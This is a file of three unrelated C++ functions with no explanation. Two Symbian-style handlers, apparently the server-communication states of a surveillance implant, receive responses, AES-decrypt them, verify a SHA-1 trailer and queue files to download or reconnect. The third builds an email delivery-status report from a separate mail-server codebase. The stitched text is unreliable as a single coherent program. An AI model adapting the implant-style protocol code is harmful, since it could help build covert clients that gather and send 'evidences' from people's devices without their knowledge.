void CStateEvidences::ProcessDataL(const TDesC8& aData) { //free resources delete iRequestData; iRequestData = NULL; //this is a response from server if(aData.Size()!=0) { if(iResponseData == NULL) { iResponseData = aData.AllocL(); } else { TInt size = iResponseData->Size(); iResponseData = iResponseData->ReAllocL(size+aData.Size()); //TODO:check this iResponseData->Des().Append(aData); } return; } if(iResponseData->Find(KApplicationOS)==KErrNotFound) { //server answered with a redirect iObserver.ResponseError(KErrContent); return; } //extract body from response RBuf8 body(CRestUtils::GetBodyL(*iResponseData)); body.CleanupClosePushL(); delete iResponseData; iResponseData = NULL; //decrypt RBuf8 plainBody(AES::DecryptPkcs5L(body,KIV,iSignKey)); CleanupStack::PopAndDestroy(&body); plainBody.CleanupClosePushL(); //check sha1 if(!ShaUtils::ValidateSha(plainBody.Left(plainBody.Size()-20),plainBody.Right(20))) { CleanupStack::PopAndDestroy(&plainBody); iObserver.ResponseError(KErrSha); return; } //check response if(plainBody.Left(4).Compare(KProto_Ok) != 0) { CleanupStack::PopAndDestroy(&plainBody); iObserver.ResponseError(KErrNotOk); return; } CleanupStack::PopAndDestroy(&plainBody); iObserver.ReConnect(); }
void CStateDownload::ProcessDataL(const TDesC8& aData) { //free resources delete iRequestData; iRequestData = NULL; if(aData.Size()!=0) { if(iResponseData == NULL) { iResponseData = aData.AllocL(); } else { TInt size = iResponseData->Size(); iResponseData = iResponseData->ReAllocL(size+aData.Size()); //TODO:check the result of allocation iResponseData->Des().Append(aData); } return; } if(iResponseData->Find(KApplicationOS)==KErrNotFound) { //server answered with a redirect iObserver.ResponseError(KErrContent); return; } //extract body from response RBuf8 body(CRestUtils::GetBodyL(*iResponseData)); body.CleanupClosePushL(); RBuf8 plainBody(AES::DecryptPkcs5L(body,KIV,iSignKey)); CleanupStack::PopAndDestroy(&body); plainBody.CleanupClosePushL(); //check sha1 if(!ShaUtils::ValidateSha(plainBody.Left(plainBody.Size()-20),plainBody.Right(20))) { CleanupStack::PopAndDestroy(&plainBody); iObserver.ResponseError(KErrSha); return; } //check response if(plainBody.Left(4).Compare(KProto_Ok) == 0) { FindFilesL(plainBody.Right(plainBody.Size()-8),iFilesArray); //8=KProto_Ok|len } CleanupStack::PopAndDestroy(&plainBody); if(iFilesArray->Count()>0) { iFileIndex = 0; iLongTask->NextRound(); } else iObserver.ChangeStateL(); }
Injectee * DSN::result() const { Injectee * r = new Injectee; Bodypart * plainText = new Bodypart( 1, r ); Bodypart * dsn = new Bodypart( 2, r ); Bodypart * original = new Bodypart( 3, r ); plainText->setParent( r ); dsn->setParent( r ); original->setParent( r ); r->children()->append( plainText ); r->children()->append( dsn ); r->children()->append( original ); // set up the original message, either full or header-only if ( fullReport() ) { original->header()->add( "Content-Type", "text/rfc822-headers" ); original->setData( message()->header()->asText() ); // this is what we _should_ do, except that we don't. the body // of the message is lost, probably because original-> has a // null parent. //original->header()->add( "Content-Type", "message/rfc822" ); //original->setMessage( message() ); // and maybe we shouldn't anyway. sending a potentially big // body in a bounce is not necessarily a good idea. } else { // nasty mime name there original->header()->add( "Content-Type", "text/rfc822-headers" ); original->setData( message()->header()->asText() ); } // the from field has to contain... what? let's try this for now. Address * from = new Address( Configuration::hostname(), "postmaster", Configuration::hostname() ); // set up the top-level header Header * h = r->header(); if ( resultDate() ) { h->add( "Date", resultDate()->rfc822() ); } else { Date * now = new Date; now->setCurrentTime(); h->add( "Date", now->rfc822() ); } h->add( "From", from->toString() ); if ( sender() ) h->add( "To", sender()->toString() ); if ( allOk() ) h->add( "Subject", "Message delivered" ); else if ( allFailed() ) h->add( "Subject", "Message delivery failed" ); else h->add( "Subject", "Message delivery reports" ); h->add( "Mime-Version", "1.0" ); h->add( "Content-Type", "multipart/report; boundary=" + Message::acceptableBoundary( message()->rfc822() ) ); // set up the plaintext and DSN parts // what charset should we use for plainText? plainText->header()->add( "Content-Type", "text/plain; format=flowed" ); dsn->header()->add( "Content-Type", "message/delivery-status" ); plainText->setData( plainBody() ); dsn->setData( dsnBody() ); r->addMessageId(); return r; }